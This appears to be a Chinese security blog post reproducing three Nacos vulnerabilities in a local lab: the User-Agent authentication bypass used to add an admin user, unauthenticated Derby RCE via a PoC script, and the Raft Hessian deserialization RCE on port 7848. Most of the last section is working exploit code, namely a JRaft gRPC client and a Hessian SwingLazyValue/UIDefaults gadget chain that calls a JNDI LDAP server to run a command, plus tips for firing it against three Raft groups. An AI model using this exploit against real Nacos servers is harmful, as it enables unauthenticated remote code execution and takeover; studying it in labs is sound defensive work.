前言

最近在看Java微服务相关的知识,那就顺便学一下Nacos相关的漏洞

简介

NACOS的官网:https://nacos.io/

Nacos 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

未授权访问漏洞(CVE-2021-29441)

影响版本

Nacos <= 2.0.0-ALPHA.1或者<=1.4.0

漏洞详情

nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。

复现

这里直接用vulhub的环境即可

访问nacos/v1/auth/users?pageNo=1&pageSize=9接口

image-20250308163045149

正常来说访问是403的,我们UA头加上Nacos-Server就可以绕过验证,此时就为200了

image-20250308163418761

此时我们可以POST访问nacos/v1/auth/users接口,body为username=clown&password=clown,添加一个新用户

image-20250308163614387

然后我们就可以直接用该用户去登录后台了

image-20250308163751992

可以看到我们的用户是添加成功了,回来的是用户名和加密密码

未授权接口命令执行漏洞(CVE-2021-29442)

影响版本

Nacos < 1.4.1

漏洞详情

在Nacos 1.4.1之前的版本中,一些API端点(如/nacos/v1/cs/ops/derby)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意Derby SQL语句和 Java 代码。

复现

访问一下/nacos/v1/cs/ops/derby接口

image-20250308220533168

可以看到未鉴权

Derby是用java编写的一个数据库,可以上传jar包rce,直接用vulhub的poc验证即可(原理先空着🥲)

python poc.py -t http://your-ip:8848 -c "root"  

image-20250308222525087

Raft Hessian反序列化

介绍

漏洞影响的范围是nacos的7848端口

7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

所以影响范围为:

1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动均受到影响

前置知识了解

grpc-java

nacos的客户端和和server之间是通过HTTP来通信的,而集群节点间是以grpc来通信的,所以我们等会构造数据包的时候就是以grpc的形式

grpc的使用可以参考一下官方文档:https://grpc.io/docs/languages/java/generated-code/

还有官方的代码仓库:https://github.com/grpc/grpc-java

先添加依赖

<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-netty-shaded</artifactId>
<version>1.50.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-protobuf</artifactId>
<version>1.50.2</version>
</dependency>
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-stub</artifactId>
<version>1.50.2</version>
</dependency>

<!--运行服务端需要-->
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-api</artifactId>
<version>1.50.2</version>
</dependency>

定义proto文件

在src/main目录下创建proto目录,然后创建一个proto文件

syntax = "proto3";

option java_multiple_files = true;
option java_package = "com.example.grpc.api";

service Greeter {
rpc SayHello (HelloRequest) returns (HelloReply) {}
}

message HelloRequest {
string name = 1;
}

message HelloReply {
string message = 1;
}

image-20250329165534865

生成代码

可以用Maven插件或者命令行工具生成

插件的用法可以看官方文档:https://grpc.io/docs/languages/java/generated-code/#codegen

emmm这里我的插件依赖一直是红的,用不了

这里还是用命令行的形式

首先下载protobuf:https://github.com/protocolbuffers/protobuf

然后下载插件:https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/

接下来进到我们的proto目录,然后将刚刚下载的grpc-java插件移到这里并重命名为protoc-gen-grpc-java

image-20250329165727150

然后用下面命令生成代码

protoc --plugin=protoc-gen-grpc-java.exe --grpc-java_out=../java --java_out=../java helloworld.proto
# --plugin 指定 gRPC-Java 插件(需可执行文件)
# --grpc-java_out 输出 gRPC 服务代码到 ../java
# --java_out 输出普通 Java 消息类到 ../java

这里要注意一下protobuf的版本,我用比较新的版本生成的代码会有些依赖没有,换成比较低的23.2版本才行

image-20250329174707984

然后就是实现具体的代码

编写服务端实现代码

package com.example.grpc.service;

import com.example.grpc.api.GreeterGrpc;
import com.example.grpc.api.HelloReply;
import com.example.grpc.api.HelloRequest;
import io.grpc.stub.StreamObserver;

public class GreeterService extends GreeterGrpc.GreeterImplBase {

// 实现方法
@Override
public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) {
String name = request.getName();
HelloReply helloReply = HelloReply.newBuilder().setMessage("Hello, "+name).build();
responseObserver.onNext(helloReply);
responseObserver.onCompleted();
}
}

运行服务

package com.example.grpc.service;

import io.grpc.Server;
import io.grpc.ServerBuilder;
// 启动服务
public class GreeterServer {
public static void main(String[] args) throws Exception{
int port = 8888;
Server server = ServerBuilder.forPort(port).addService(new GreeterService()).build();
server.start();

System.out.println("Running...");
server.awaitTermination();
}
}

实现客户端代码

package com.example.grpc.client;

import com.example.grpc.api.GreeterGrpc;
import com.example.grpc.api.HelloReply;
import com.example.grpc.api.HelloRequest;
import io.grpc.Channel;
import io.grpc.ManagedChannelBuilder;

public class GreeterClient {
public static void main(String[] args) {
String host = "127.0.0.1";
int port = 8888;
Channel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
GreeterGrpc.GreeterBlockingStub greeterBlockingStub = GreeterGrpc.newBlockingStub(channel);
HelloRequest helloRequest = HelloRequest.newBuilder().setName("clown").build();
HelloReply helloReply = greeterBlockingStub.sayHello(helloRequest);
System.out.println(helloReply.getMessage());
}
}

image-20250329181930632

JRaft协议

有关Raft算法的知识需要提前了解一下,Raft是一种常用于集群间数据同步的共识算法,JRaft是其java实现,这个就不在这里多介绍了,可以看一下官方文档:https://www.sofastack.tech/projects/sofa-jraft/overview/

环境配置

这里下载一个2.2.2版本的nacos:https://github.com/alibaba/nacos/releases/tag/2.2.2

因为这里只需要启动单机模式即可验证,而且默认启动内嵌Derby数据库,可以写一个简单的docker来配置

dockerfile文件

FROM docker.xuanyuan.me/openjdk:8u342-jre

# 复制归档文件并自动解压
ADD nacos-server-2.2.2.tar.gz /root

# 安装网络和进程管理工具包,-y 表示自动确认所有安装提示
RUN apt update && \
apt install net-tools procps -y

WORKDIR /root

docker-compose文件

version: '3'

services:
nacos:
build: .
container_name: nacos
ports:
- 5005:5005 # 开启远程调试端口
- 7848:7848 # 开启JRaft端口
- 8848:8848 # nacos控制台端口
environment:
- JAVA_OPT=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 # 开启远程调试的启动参数
command:
- /bin/sh
- -c
- |
bash nacos/bin/startup.sh -m standalone
tail -f nacos/logs/start.out

分析

可以看一下修复的补丁:https://github.com/alibaba/nacos/pull/10542/files

看修复的补丁我们也可以很明显地知道,他加了一个Hessian反序列化的白名单

image-20250328234639269

我们先找找他是在哪里进行的Hessian反序列化

我们可以直接下载源码来看

image-20250328235032707

可以看到这里默认用的就是Hessian,com.alibaba.nacos.consistency.SerializeFactory#getDefault 序列化工厂类

反序列化的地方也很容易知道

image-20250328235202888

可以看到有漏洞的版本没有任何过滤

本地启动

就是突然想记录一下(

找到这样一篇文章:https://blog.csdn.net/qq_41316955/article/details/135467159

根据他的步骤来

我们要先编译一下项目,目的是为了生成一下grpc的代码

image-20250330213233054

然后去consistency目录

image-20250330212610402

添加proto目录为Source Root

然后找到nacos-console这个模块,直接运行console模块里的 com.alibaba.nacos.Nacos.java,在IDEA的JVM的启动参数配置为单机启动和配置nacos的工作目录

-Dnacos.standalone=true -Dnacos.home=D:\CTF\Java\Nacos\nacos-2.2.2\nacos-2.2.2

image-20250330213058726

然后我们现在再启动就可以了

image-20250330213510138

断点调试

这里可以参考前面写的java远程调试,之前没详细记录,这里再顺便写一下

前面的docker已经开放了5005的远程调试端口给我们了

这里开一个jvm debug选项

image-20250330214919561

然后启动即可

image-20250330215002173

目前就是知道了hessian反序列化,但是在哪里调用,在哪里触发呢

如果要发生反序列化,那就肯定是在发生数据读取或者应用的地方,在JRaft中,提交的任务最终将会复制应用到所有 raft 节点上的状态机。onApply 是StateMachine最核心的方法。

nacos这里就是在com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply方法

image-20250330220732661

我们接下来构造一个JRaft写请求去看看他的调用堆栈

构造请求

这里我们需要去构建一个写请求(WriteRequest),模拟数据变更

grpc所需要的proto文件在nacos-2.2.2/consistency/src/main/proto/里面

去看源码可以看到,有关一些类并不存在

image-20250330205549132

这些都在.proto文件里面,将该文件放到我们前面的grpc项目进行编译生成代码

.\protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=../java --java_out=../java consistency.proto

然后我们参考JRaft的文档去写客户端:https://www.sofastack.tech/projects/sofa-jraft/counter-example/(但是不太好写,我也不知道他们是咋参考的🥲)

引入下面的依赖:

<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>jraft-core</artifactId>
<version>1.3.12</version>
</dependency>
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>rpc-grpc-impl</artifactId>
<version>1.3.12</version>
</dependency>

最后可以写出下面的客户端,直接copy文章的,然后让ds给我加了些注释:

package com.example.grpc.client;

import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.GrpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.google.protobuf.ByteString;
import com.google.protobuf.Message;
import java.lang.reflect.Field;
import java.util.Map;

public class NacosClient {
public static void main(String[] args) throws Exception {
// ==================== 初始化配置 ====================
// 目标 Raft 集群 Leader 节点地址(格式:IP:Port)
String address = "127.0.0.1:7848";
// 构造待发送的业务数据(示例为空数据,实际应为序列化后的有效负载)
byte[] poc = Poc.getPoc();
// byte[] poc = "hello".getBytes();

// ==================== 初始化 JRaft 客户端服务 ====================
// 创建 JRaft 客户端服务实例(用于与 Raft 集群通信)
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
// 初始化客户端服务(使用默认配置)
cliClientService.init(new CliOptions());

// ==================== 构建请求目标 ====================
// 解析 Leader 节点地址信息(PeerId 包含节点 IP 和 Port)
PeerId leader = PeerId.parsePeer(address);

// ==================== 构造业务请求 ====================
// 创建 Nacos 的 WriteRequest 请求(使用 Protobuf 构建)
WriteRequest request = WriteRequest.newBuilder()
// .setGroup("naming_persistent_service_v2") // Nacos 的持久化服务组名
.setGroup("naming_service_metadata")
// .setGroup("naming_instance_metadata")
.setData(ByteString.copyFrom(poc)) // 业务数据(需按 Nacos 格式序列化)
.build();

// ==================== 获取底层 RPC 客户端 ====================
// 获取 JRaft 的 gRPC 客户端实例(实际通信处理器)
GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();

// ==================== 反射注入自定义请求类型 ====================
// 关键步骤:由于 WriteRequest 是 Nacos 自定义类型,需手动注册到 JRaft 的解析器

// 反射获取 GrpcClient 内部的协议解析器映射表(parserClasses)
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses");
parserClassesField.setAccessible(true); // 突破私有访问限制
Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);

// 注册 WriteRequest 类型到解析器(使 JRaft 能识别该 Protobuf 类型)
parserClasses.put(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
// 注册响应类型解析器(用于反序列化服务端响应)
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());

// ==================== 发送请求并获取响应 ====================
// 同步发送请求到 Leader 节点(参数说明:节点地址,请求对象,超时时间 5000ms)
Object res = grpcClient.invokeSync(leader.getEndpoint(), request, 5000);

// 打印响应结果(实际应根据业务处理响应)
System.out.println("Received response: " + res);
}
}

这里我们先随便发一点数据过去,目的是看一下调用堆栈,看看是怎么走到反序列化的地方的

image-20250330223652775

这里调用堆栈就很清晰了,就不过多解释了

gadget构造

这里挑一条链子打,采用y4师傅里的,打SwingLazyValue的链子,但是这里环境用的nacos2.2.2版本用的hessian-4.0.63.jar,该版本的jar有内置的黑名单

y4师傅这里采用的是jndi配合jackson来打,因为nacos是springboot,内置了jackson

前半部分就用HashMap来触发UIDefaults.get()

这里写出的poc类如下:

package com.example.grpc.client;

import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Poc {
public static byte[] getPoc() throws Exception{
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/Deserialize/Jackson/Command/Y2FsYw=="});

UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", swingLazyValue);
u2.put("aaa", swingLazyValue);

Map map = makeMap(u1, u2);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(map);
output.flush();

return baos.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception{
Class clazz = obj.getClass();
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
// 构造哈希相等
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}

然后前面的客户端代码只要改一下,调用getPoc就可以获取payload的字节数组了

然后这里用X1r0z师傅的jndimap工具来起一个监听

image-20250330234321716

因为这里nacos在docker里面,所以用curl来进行验证

emmm但是很怪,没打通,返回了一个报错

image-20250331000847488

不过打jndi就要求环境需要出网

坑点

这里的payload只能打一次,如果打第二次就会发生

image-20250330235541466

调试的时候他也不会进入onApply函数的断点了

需要销毁环境重建才行,不过这里nacos不止一个RaftGroupService

至少有三个

naming_persistent_service_v2
naming_instance_metadata
naming_service_metadata

image-20250330235723916

所以可以通过这样设置打三次

参考文章

https://l3yx.github.io/2023/06/09/Nacos-Raft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

http://blog.csdn.net/baidu_25299117/article/details/140476392

https://lmboke.com/archives/nacos-jraft-hessian-fan-xu-lie-hua-fen-xi-xiang-qing

https://y4er.com/posts/nacos-hessian-rce/

还有其他的链子可以看X1r0z师傅的博客:https://exp10it.io/2023/06/nacos-jraft-hessian-deserialization-rce-analysis/